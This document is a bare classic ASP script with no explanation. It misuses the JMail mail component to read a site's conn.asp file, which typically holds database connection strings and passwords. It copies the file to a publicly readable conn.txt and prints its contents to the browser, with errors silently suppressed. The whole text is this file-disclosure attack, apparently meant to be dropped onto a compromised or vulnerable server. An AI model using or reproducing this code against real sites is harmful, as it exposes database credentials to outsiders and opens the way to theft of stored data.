On Error Resume Next

Set JMail=Server.CreateObject("JMail.Message")
JMail.AddAttachment(Server.MapPath("conn.asp"))
JMail.Attachments(0).SaveToFile(Server.MapPath("conn.txt"))
Response.Write JMail.Attachments(0).Data
JMail.Close()
Set JMail=Nothing


If Err Then
    Response.Write Err.Description
    Err.Clear
End If
